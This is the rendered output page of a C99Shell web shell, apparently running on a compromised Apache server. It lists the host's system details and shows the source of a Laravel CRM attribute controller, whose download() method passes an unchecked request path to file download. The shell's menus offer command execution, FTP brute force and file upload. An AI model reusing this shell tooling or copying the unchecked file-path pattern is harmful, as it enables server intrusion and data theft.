!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Settings/   drwxrwxrwx
Free 12.95 GB of 57.97 GB (22.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AttributeController.php (6.64 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Settings;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\RedirectResponse;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\View\View;
use 
Webkul\Admin\DataGrids\Settings\AttributeDataGrid;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Admin\Http\Requests\MassDestroyRequest;
use 
Webkul\Attribute\Repositories\AttributeRepository;
use 
Webkul\Attribute\Repositories\AttributeValueRepository;
use 
Webkul\Core\Contracts\Validations\Code;

class 
AttributeController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
AttributeRepository $attributeRepository,
        protected 
AttributeValueRepository $attributeValueRepository
    
) {}

    
/**
     * Display a listing of the resource.
     */
    
public function index(): View|JsonResponse
    
{
        if (
request()->ajax()) {
            return 
datagrid(AttributeDataGrid::class)->process();
        }

        return 
view('admin::settings.attributes.index');
    }

    
/**
     * Show the form for creating a new resource.
     */
    
public function create(): View
    
{
        return 
view('admin::settings.attributes.create');
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function store(): RedirectResponse
    
{
        
$this->validate(request(), [
            
'code' => ['required''unique:attributes,code,NULL,NULL,entity_type,'.request('entity_type'), new Code],
            
'name' => 'required',
            
'type' => 'required',
        ]);

        
Event::dispatch('settings.attribute.create.before');

        
request()->request->add(['quick_add' => 1]);

        
$attribute $this->attributeRepository->create(request()->all());

        
Event::dispatch('settings.attribute.create.after'$attribute);

        
session()->flash('success'trans('admin::app.settings.attributes.index.create-success'));

        return 
redirect()->route('admin.settings.attributes.index');
    }

    
/**
     * Show the form for editing the specified resource.
     */
    
public function edit(int $id): View
    
{
        
$attribute $this->attributeRepository->findOrFail($id);

        return 
view('admin::settings.attributes.edit'compact('attribute'));
    }

    
/**
     * Update the specified resource in storage.
     */
    
public function update($id): RedirectResponse
    
{
        
$this->validate(request(), [
            
'code' => ['required''unique:attributes,code,NULL,NULL,entity_type,'.$id, new Code],
            
'name' => 'required',
            
'type' => 'required',
        ]);

        
Event::dispatch('settings.attribute.update.before'$id);

        
$attribute $this->attributeRepository->update(request()->all(), $id);

        
Event::dispatch('settings.attribute.update.after'$attribute);

        
session()->flash('success'trans('admin::app.settings.attributes.index.update-success'));

        return 
redirect()->route('admin.settings.attributes.index');
    }

    
/**
     * Remove the specified resource from storage.
     */
    
public function destroy(int $id): JsonResponse
    
{
        
$attribute $this->attributeRepository->findOrFail($id);

        if (! 
$attribute->is_user_defined) {
            return 
response()->json([
                
'message' => trans('admin::app.settings.attributes.index.user-define-error'),
            ], 
400);
        }

        try {
            
Event::dispatch('settings.attribute.delete.before'$id);

            
$this->attributeRepository->delete($id);

            
Event::dispatch('settings.attribute.delete.after'$id);

            return 
response()->json([
                
'status'  => true,
                
'message' => trans('admin::app.settings.attributes.index.delete-success'),
            ], 
200);
        } catch (
\Exception $exception) {
            return 
response()->json([
                
'message' => trans('admin::app.settings.attributes.index.delete-failed'),
            ], 
400);
        }
    }

    
/**
     * Check unique validation.
     *
     * @return void
     */
    
public function checkUniqueValidation()
    {
        
$attribute $this->attributeRepository->findOneWhere([
            
'code' => request('attribute_code'),
        ]);

        return 
response()->json([
            
'validated' => $this->attributeValueRepository->isValueUnique(
                
request('entity_id'),
                
request('entity_type'),
                
$attribute,
                
request('attribute_value'),
            ),
        ]);
    }

    
/**
     * Search attribute lookup results
     */
    
public function lookup($lookup): JsonResponse
    
{
        
$results $this->attributeRepository->getLookUpOptions($lookuprequest()->input('query'));

        return 
response()->json($results);
    }

    
/**
     * Search attribute lookup results
     */
    
public function lookupEntity(string $lookup): JsonResponse
    
{
        
$result $this->attributeRepository->getLookUpEntity($lookuprequest()->input('query'));

        return 
response()->json($result);
    }

    
/**
     * Mass Delete the specified resources.
     */
    
public function massDestroy(MassDestroyRequest $massDestroyRequest): JsonResponse
    
{
        
$count 0;

        
$attributes $this->attributeRepository->findWhereIn('id'$massDestroyRequest->input('indices'));

        foreach (
$attributes as $attribute) {
            
$attribute $this->attributeRepository->find($attribute->id);

            if (! 
$attribute->is_user_defined) {
                continue;
            }

            
Event::dispatch('settings.attribute.delete.before'$attribute->id);

            
$this->attributeRepository->delete($attribute->id);

            
Event::dispatch('settings.attribute.delete.after'$attribute->id);

            
$count++;
        }

        if (! 
$count) {
            return 
response()->json([
                
'message' => trans('admin::app.settings.attributes.index.mass-delete-failed'),
            ], 
400);
        }

        return 
response()->json([
            
'message' => trans('admin::app.settings.attributes.index.delete-success'),
        ]);
    }

    
/**
     * Get attribute options associated with attribute.
     *
     * @return \Illuminate\View\View
     */
    
public function getAttributeOptions(int $id)
    {
        
$attribute $this->attributeRepository->findOrFail($id);

        return 
$attribute->options()->orderBy('sort_order')->get();
    }

    
/**
     * Download image or file
     */
    
public function download()
    {
        if (! 
request('path')) {
            return 
false;
        }

        return 
Storage::download(request('path'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0066 ]--